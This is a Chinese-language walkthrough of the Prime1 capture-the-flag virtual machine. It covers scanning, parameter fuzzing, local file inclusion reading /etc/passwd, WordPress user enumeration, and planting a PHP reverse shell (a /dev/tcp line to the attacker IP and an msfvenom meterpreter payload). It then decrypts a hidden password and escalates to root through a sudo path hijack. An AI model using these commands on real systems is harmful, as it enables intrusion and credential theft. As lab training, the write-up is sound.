prime1(超超详细)

安装靶机,修改我们的网络连接方式,改为nat连接

prime1(超超详细)_第1张图片

机发现 

工具(https://github.com/790013438/lansee175)

prime1(超超详细)_第2张图片

看到我们的ip一个164一个162

再查看一下kali ip发现164是靶机的

端口扫描

nmap 192.168.59.164

nmap  -sP 192.168.59.164/24

发现我们的80,22端口开放

在这里我们使用arp-scan -l也可以

prime1(超超详细)_第3张图片

查看网站

prime1(超超详细)_第4张图片

右键发现源码并不能看而且也没啥有用的那我们就可以扫描

扫描目录

扫描目录结构,使用kali自带的dirb扫描:

man dirb 可以查看dirb的使用帮助,使用dirb+http地址就可以扫描

dirb http://192.168.59.164

prime1(超超详细)_第5张图片

扫描出了/dev可以输入看看打开之后显示以下内容发现我们的思路是对的

我的翻译了正常显示的是英文

prime1(超超详细)_第6张图片

继续扫描,看看文本文件和压缩包中有没有用户名密码等信息

dirb  http://192.168.59.164 -X .txt,.php,.zip  

-X类型 ,逗号分割

prime1(超超详细)_第7张图片

扫到了一个txt文件,用curl访问一下

prime1(超超详细)_第8张图片

根据txt文件中的内容我们得到了两条信息

https://github.com/hacknpentest/Fuzzing/blob/master/Fuzz_For_Web

//see the location.txt and you will get your next move//

打开github给出了一个wfuzz命令

wfuzz  -w /usr/share/wfuzz/wordlist/general/common.txt  --hc 404 http://192.168.59.164/index.php?FUZZ

使用这个命令来请求网页(不知道的参数用FUZZ占位)

-w:指定一个字典文件 --hc:隐藏某些http响应

prime1(超超详细)_第9张图片

给出了好多内容我们看着也不方便所以需要过滤一下

wfuzz --hl 7 -w /usr/share/wfuzz/wordlist/general/common.txt  http://192.168.59.164/index.php?FUZZ

过滤不是7行的发现没有了那就不对直接换

wfuzz --hw 12 -w /usr/share/wfuzz/wordlist/general/common.txt  http://192.168.59.164/index.php?FUZZ

过滤不是12字符的发现有一个

prime1(超超详细)_第10张图片

通过过滤得出正确的参数是file

输入curl http://192.168.59.162/index.php?file=aaa会提示你的文件名不正确,证明file参数是正确的,如果输入别的不会有提示

结合之前给出的提示

curl http://192.168.59.164/index.php?file=location.txt 

发现让我secrettier360替换file再去其他页面试试就去image.php试了试

​curl http://192.168.59.164/image.php?secrettier360=

知道了文件参数,但还是不知道文件名,通过经验测试一下可不可以访问/etc/passwd文件,如果可以,那么此网站存在本地文件包含漏洞,测试后果然可以访问

prime1(超超详细)_第11张图片

发现出现的内容中倒数第二行有东西

http://192.168.59.164/image.php?secrettier360=/home/saket/password.txt

拼接在url上看了看果然有

这个试了试发现不是靶机的密码

接下来从扫描出的wordpress入手http://192.168.59.164/wordpress/

进到一个新页面

prime1(超超详细)_第12张图片

往下滑有个Meta 点击Log in 进入后就是下面的页面

prime1(超超详细)_第13张图片

不知道用户名,可以通过wpscan来扫描用户名,首先安装cmseek,wpscan专门扫描wordpress 的cms,使用wpscan --url http://192.168.59.164/wordpress/ --enumerate u 扫描(–enumerate选项来扫描并发现关于目标站点主题、插件和用户名信息。--enumerate u枚举WordPress用户名)

wpscan --url http://192.168.59.164/wordpress/ --enumerate u 

prime1(超超详细)_第14张图片

使用victor用户名和刚才得出的密码follow_the_ippsec登录

prime1(超超详细)_第15张图片

进入wordpress管理界面,看看是否可以上传一句话木马,wordpress这个界面可以修改页面代码。 由于系统上有可能存在杀软,可能直接把一句话木马杀掉,所以尝试写一个PHP反弹连接,使用msf就可以生成一个反弹连接。(ip地址写攻击机的ip地址)

prime1(超超详细)_第16张图片

& /dev/tcp/192.168.95.128/9999 0>&1'");?>

msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.59.162lport=7777 -o shell.php

网页访问

192.168.59.164/wordpress/wp-content/themes/twentynineteen/secret.php

Kali里面输入nc -lvvp 9999 显示连接成功

prime1(超超详细)_第17张图片

进到home/saket

Ls -ll

prime1(超超详细)_第18张图片

看到三个文件挨个打开看看发现user和password有东西enc没有权限用sudo ./enc试了一下发现需要密码password.txt里面密码并不对

prime1(超超详细)_第19张图片

搜索密码备份文件和系统的所有备份文件, 因为有时候管理员会在系统留有密码备份文件

find / -name '*backup*' 2>/dev/null  | less| sort

find / -name '*backup*':这个命令在根目录(即 /)中搜索文件。-name 选项指定了搜索的文件名模式,在这里是 '*backup*'。这个模式表示任何文件名包含字符串 “backup” 的文件。find 命令会返回所有符合条件的文件的路径。

2>/dev/null: /dev/null 是一个特殊的文件,它的作用是丢弃所有写入它的数据。即将错误输出重定向到 /dev/null 就相当于丢弃所有错误信息(例如权限不足),只保留正常输出

| less:管道符(|)将前一个命令的输出传递给后一个命令。在这里,less 命令是一个文本浏览器,它可以让你在终端中浏览文本文件。将 find 的输出传递给 less 可以让你在终端中更方便地查看找到的文件的路径。

sort:这个命令对前一个命令的输出进行排序。在这里,它将找到的文件的路径按字母顺序排序。

prime1(超超详细)_第20张图片

输入之后的结果发现有很多备份文件,我们去寻找的是文件名带有user或者pass这种比较可疑的, 例如/opt/backup/server_database/backup_pass

prime1(超超详细)_第21张图片

然后我们就看到了enc的密码我们再去执行enc,发现多出了两个txt文件

prime1(超超详细)_第22张图片

我们查看一下多出来的文件

prime1(超超详细)_第23张图片

提示需要对ippsec字符串进行加密

对ippsec字符串进行md5加密:

 echo -n "ippsec" | md5sum

echo -n 表示 echo 命令不要输出换行符。这样,输出的字符串就不会换行,而是和 md5sum 的输出在同一行

加密后的字符串为366a74cb3c959de17d61db30591c39d1

这里的key值需要用到openssl加解密

先查看openssl命令中支持哪些算法:openssl --help

将这些加密算法名称保存到CryptType文件中,让GPT给写成每行一个我直接放最后了

然后这里通过一个脚本,用所有格式的都解密一遍

for i in $(cat CryptType); do
    decrypted=$(echo 'nzE+iKr82Kh8BOQg0k/LViTZJup+9DReAsXd/PCtFZP5FHM7WtJ9Nz1NmqMi9G0i7rGIvhK2jRcGnFyWDT9MLoJvY1gZKI2xsUuS3nJ/n3T1Pe//4kKId+B3wfDW/TgqX6Hg/kUj8JO08wGe9JxtOEJ6XJA3cO/cSna9v3YVf/ssHTbXkb+bFgY7WLdHJyvF6lD/wfpY2ZnA1787ajtm+/aWWVMxDOwKuqIT1ZZ0Nw4=' | openssl enc -d -a -$i -K 3336366137346362336339353964653137643631646233303539316333396431 2>/dev/null)
    echo "$i: $decrypted"
Done

创建一个123.txt将代码保存在里面给一下权限直接运

prime1(超超详细)_第24张图片

出来的结果有一个不是乱码的

prime1(超超详细)_第25张图片

从前面开始一直都是在saket这个目录下寻找的,所以这里尝试使用这个密码和saket这个用户ssh登录试试  

ssh [email protected]

prime1(超超详细)_第26张图片

prime1(超超详细)_第27张图片

连接成功

查看当前用户的权限 sudo -l

发现可以使用root权限无密码执行/home/victor/undefeated_victor

prime1(超超详细)_第28张图片

执行这个文件,提示没找到

去看了一下发现确实没有

那我们在/tmp目录下创建challenge文件,将下方内容写入并给上权限

#!/bin/bash
/bin/bash

prime1(超超详细)_第29张图片

然后重新执行/home/victor/undefeated_victor

这就到了root权限我们再去root下找那个flag

下面是上面的openssl命令中支持的算法

blake2b512

blake2s256

md4

md5

rmd160

sha1

sha224

sha256

sha3-224

sha3-256

sha3-384

sha3-512

sha384

sha512

sha512-224

sha512-256

shake128

shake256

sm3

aes-128-cbc

aes-128-ecb

aes-192-cbc

aes-192-ecb

aes-256-cbc

aes-256-ecb

aria-128-cbc

aria-128-cfb

aria-128-cfb1

aria-128-cfb8

aria-128-ctr

aria-128-ecb

aria-128-ofb

aria-192-cbc

aria-192-cfb

aria-192-cfb1

aria-192-cfb8

aria-192-ctr

aria-192-ecb

aria-192-ofb

aria-256-cbc

aria-256-cfb

aria-256-cfb1

aria-256-cfb8

aria-256-ctr

aria-256-ecb

aria-256-ofb

base64

bf

bf-cbc

bf-cfb

bf-ecb

bf-ofb

camellia-128-cbc

camellia-128-ecb

camellia-192-cbc

camellia-192-ecb

camellia-256-cbc

camellia-256-ecb

cast

cast-cbc

cast5-cbc

cast5-cfb

cast5-ecb

cast5-ofb

des

des-cbc

des-cfb

des-ecb

des-ede

des-ede-cbc

des-ede-cfb

des-ede-ofb

des-ede3

des-ede3-cbc

des-ede3-cfb

des-ede3-ofb

des-ofb

des3

desx

rc2

rc2-40-cbc

rc2-64-cbc

rc2-cbc

rc2-cfb

rc2-ecb

rc2-ofb

rc4

rc4-40

seed

seed-cbc

seed-cfb

seed-ecb

seed-ofb

sm4-cbc

sm4-cfb

sm4-ctr

sm4-ecb

sm4-ofb

你可能感兴趣的:(android)